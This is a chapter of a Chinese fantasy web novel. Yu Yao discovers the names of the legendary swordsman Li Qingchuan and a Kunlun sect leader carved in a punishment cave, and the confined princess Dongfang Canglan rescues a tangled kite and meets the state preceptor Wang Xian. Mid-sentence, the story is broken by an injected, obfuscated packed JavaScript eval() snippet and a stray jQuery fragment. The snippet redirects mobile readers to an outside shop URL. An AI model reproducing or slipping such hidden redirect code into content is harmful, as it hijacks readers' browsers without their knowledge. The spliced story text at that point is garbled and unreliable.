虞杳愣了愣,立刻反应过来这是两个人名,甚至,还有点眼熟?
李青刂暂且不论,一看就缺偏旁。倒是风禾,引起了她的注意。
风禾,风禾……她喃喃两遍,一捂脑门。这不上上代昆仑掌门的名字嘛!她曾在一本记载着昆仑剑道历史由来的书籍上看见过。
风禾,昆仑第六代掌门人!
因为和剑仙李清川是同一时代的人物,所以她才多留意了两眼。据记载,两百年前九州战乱,魔物肆掠,昆仑剑宗不忍苍生罹难,除了飞光剑仙,也曾派出好多弟子四处镇魔,而这风禾也在其中。
也算是清史留名的一号人物了。
想通关键后,虞杳用指作笔,很容易地就补全前面名字的偏旁。
李清川。
剑仙的名字啊!
虞杳脑后勺震麻了下,呆呆看着眼前的两个字。
她忽然想到这里是惩罚弟子的地方。二百年前这里也有一个石洞,惩罚着两个人吗?一个是未来的昆仑掌门,一个是未来流芳百世的飞光剑仙?
如此大名鼎鼎的两号人物,在做弟子期间,也会有犯错被罚面壁的时候吗?
她所蹲的这块地方,仿佛跨越了二百年的时光,让她和自己的偶像有那么一瞬间,处在了同一时空,同一地点。
她心中百感交集,生出感动。
在她最幸福的一天,她发现了这个秘密。
她将杂草细心拢好,将这两个名字再次藏起来。
手里的野果子被捏碎成汁,她将纸云鸢摊开放在春凳上,自己蹲在凳前,用笔蘸取鲜紫的汁水,开始写信。
篇幅有限,只能捡最要紧地写。写完后,还多问了一句,为什么不给她回信?
上次寄给她的信,到现在都还没收到回音。
也不知道她和观天的近况如何了?
大补汤有进度否?
--
邕州王都。
自虞杳从王都离去已过近两月,而东方苍兰,也被禁足了快一月。
从前她每隔三到五日,会假装到花园的去散步,实则会偷偷从地宫前往荆幽谷。
许是这么多年都没有被发现,她便起了侥幸的心思,隔一两日就会选择跑到荆幽谷。
她喜欢外面的世界,喜欢呼吸荆幽谷的空气,几乎贪婪到流连忘返,到后边,待在荆幽谷的时间越来越久,越来越放松,放松到自己的贴身侍女没法子再替自己将行踪继续隐瞒下去。
那天,东方家的二公主,东方幽雪,午觉醒来就闹着要找姐姐玩。王后便抱着自己的小女儿来到东方苍兰的寝殿外,却被侍女告知,苍兰殿下去花园了。
幽雪哭闹得厉害,王后无奈,只好抱着她继续去花园里寻人。
这不寻还好,一寻才发觉出了大事。
偌大个花园,她竟找不到自己女儿的踪迹,只寻到守在莲池附近的一名侍女。那侍女名唤飞鸾,是东方苍兰的贴身侍女。
在王后疾言厉色中,飞鸾没顶住,全招了。
那夜,东方苍兰从荆幽谷兴高采烈回来,推开自己的屋门,第一眼看见的便是王后的金丝凰袍,袖摆处那里绣着一只神鸟金凰,尾若流火,点睛如神,像随时都能飞起来似的。
但不能。
它被钉在了象征身份的衣袖上,就如王后下了明令,苍兰公主从此以后,不得再踏出公主的寝殿半步。
富丽堂皇的寝殿本大得有些空旷,被王后派了许多侍女来监管她后,倒显得热闹起来。
那些侍女不理会她的冷言冷语,也不理会她发脾气,每天就守在寝殿外围。夜里点亮满室烛火的时候,侍女们的影子倒映在壁上,如幢幢鬼影。
这座宫殿诡异冷森得像座囚笼。
东方苍兰呆佁地趴在窗台,墙角梧桐疏曳曳,她看见半空中有一条细细的线飞了起来,大风托起一只木鸢,慢慢往更广阔的地方送。
越飞越高,越飞越高。
她不由看出了神,慢慢地,她想到了虞杳。那个离去了快两个月的人,到现在还未归来,是已经成功拜入昆仑了吧?
她会是第一个有勇气以废骨闯昆仑的人,也是第一个,不因废骨而放弃自己的人。
她一直都相信虞杳能做到。从第一次听说有个废骨女孩进入了国修院的上院起,她就相信,无论将来遇见什么困难,虞杳都能克服。
她也会和这只木鸢一样,越飞越高的,对吧?
东方苍兰几近痴迷地仰望着那只木鸢。
直到,木鸢的线被缠绕在了梧桐枝上,再不能飞高了。
东方苍兰愣了下,匆匆起身奔出殿外,把伺候在边的飞鸾吓了一跳,忙追上去,“殿下,您要去哪!”
去将那只木鸢救下来!
她提着繁重的罗裙,咚咚跑在玉做的砖上,一身的琳琅珠翠丁零当啷。
殿外看守她的侍女们听见声音,一张张面孔齐齐朝她望去。她们没有动,她们心想,这不知是第几次,苍兰殿下想要跑出去了。
没有用的,逃不出去的。苍兰殿下不会武功,不会法术,而这座王宫里,却遍地是武士、修士,王家的,楼家的,虞家的。
但好在,东方苍兰并未往殿门去,她只是跑向了那株梧桐树下。
她喘着气,扭头吩咐侍女们:“拿梯子来!”
飞鸾忙不迭点头:“好,好!”她不问缘由就要回去取梯子,却被王后留下的侍女们拦住,“殿下要梯子做什么?”
东方苍兰蹬了她们一眼:“看不见吗?木鸢的线绞在树上了,我要取下来。”
侍女们面面相觑,东方苍兰扶腰冷笑,“怎么?一个梯子而已,还怕我长翅膀飞出去了不成?”
她仰头望树上的木鸢,它还缠在那里等着她。
侍女们顺着向上瞧了眼,才放行,并支出两个人陪同飞鸾去拿木梯。
木梯很快架在了宫墙上,飞鸾道:“公主,奴婢替您取吧。”
东方苍兰摆手拒绝了,她要自己取。侍女们在下边围成一圈,如捧着仙女般,扶着木梯,托着东方苍兰的裙摆,将她送上墙头。
她站在琉璃瓦上,伸手够不上那条线,努力踮脚几次都不成功,她只好撩起裙摆,大胆地踩上墙脊。
那是一条横直的棱线。
她体态轻盈而纤美,脚尖踮起,长裙被风吹得飞扬,摇摇欲坠,像一位随时都会飞走的小仙女,像一只随时都会坠落的小凤凰。
下方侍女们惊叫一片。
“危险啊,苍兰殿下!快下来吧!”
“小心啊!别摔了!”
“苍兰殿下!”
东方苍兰居高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960373|211472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
临下睥睨了她们一眼,眼珠一转,迅疾出手一把握住了那条又长又韧的细线,却似因动作过猛,身躯一阵打晃,就要摔下去。
下方惊呼一片:“殿下!”
她们仓惶地举高了手,等着接她这位高贵的公主殿下。
可小公主如一片小舟,在水面荡荡,便稳稳立住了。她并没有沉下去,而是一手握着风筝线,一手叉着腰。
她站在风里,弯起眼睛,笑声琅琅地嘲笑下面的侍女们。
她自认大笑得极为粗鲁,学虞杳露出八瓣大牙,哈哈地、不顾礼仪形象地笑。
却叫下方一众侍女们看痴然了去。
她们那失了心的表情,令东方苍兰笑容渐敛,看向自己手中的线,顿觉索然无味。
她松了线,看着木鸢重新遨游回天际,也没那么快乐,转身正欲下房脊时,她听见一道清朗的声音从后面响起。
“苍兰殿下。”
东方苍兰一愣,回身时,鞋底却在墙脊上打滑,她整个人都朝墙下摔去。
掉落的速度很快,她的耳膜瞬间被侍女们尖叫声淹没。然而,预想中的疼痛却并未到来,她落进了一个稳稳的怀抱中。
青年的气息如柔软清风将她包裹,她失神地望着他。
青年的皮囊极为普通,头戴莲花冠,穿着一身玄青道袍,唯有笑起来时显得阳光清爽,他如此对她笑了笑,在侍女们赶过来前,将她放在了地上,并对她行了个礼。
“苍兰殿下。”
东方苍兰认出他来了,“是你。”
东梧国现任国师,王献。
王献莞尔:“许久不见了,殿下。”
东方苍兰没有回话。
王宫里鲜少允许男子随意出入,王献是个特例。他被当今的帝王王晷允许自由出入王宫,小的时候,东方苍兰就曾在花园里偶遇过他几次。
那时候,东方苍兰还是个什么都不懂的稚子,六七岁左右。
在花园里和宫女们玩捉迷藏,实际上是为了方便偷偷躲起来,捉知了猴玩。扑到一只脚前,仰头时,看见了一个从未见过的男子。
知了猴跑了,可男子却扬扬手,就捉了一兜的知了猴,仿佛将整个夏天都捉住了。
她新奇这种能力,让男子教她。可男子却告诉她,东方家的公主是永远都学不会法术的。她问他为什么?男子却说,下次遇见殿下,再告诉你吧。
于是就有了一次偶遇,两次偶遇……她对这个世界的真相也了解到越来越多,她开始明白将来等待着自己的是什么。
也是那时候,她养成了每天去花园玩的习惯,实则是为了甩掉烦人的侍女们,等待男子的到来,等着他知无不言言无不尽。
但男子却不是每天都能来,一个月里只能勉强见两三次。
她对世界的探索只能停留在他浅显的陈述上,如隔靴挠痒。
后来很长时间不再见到他。她便憎恨起这个男子。又在百无聊赖的一天,机缘巧合下,她发现了那条神秘的、通往外界的地宫。
有了荆幽谷,有了观天和虞杳后,这个人才慢慢从她的脑海里淡化去了。
而此时……他又出现在这里。
东方苍兰冷冷盯了他一眼,转身就走。王献却唤住她:“殿下。”
“殿下不喜欢这个木鸢吗?”